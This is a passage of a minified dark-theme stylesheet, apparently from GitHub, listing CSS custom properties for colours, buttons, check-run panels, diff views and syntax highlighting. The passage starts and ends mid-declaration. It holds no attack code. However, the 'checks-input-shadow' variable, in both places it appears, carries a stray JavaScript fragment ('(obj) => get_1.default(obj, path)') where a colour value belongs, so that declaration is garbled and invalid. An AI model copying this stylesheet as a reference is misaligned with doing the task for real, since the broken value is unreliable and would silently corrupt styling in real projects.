#8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: 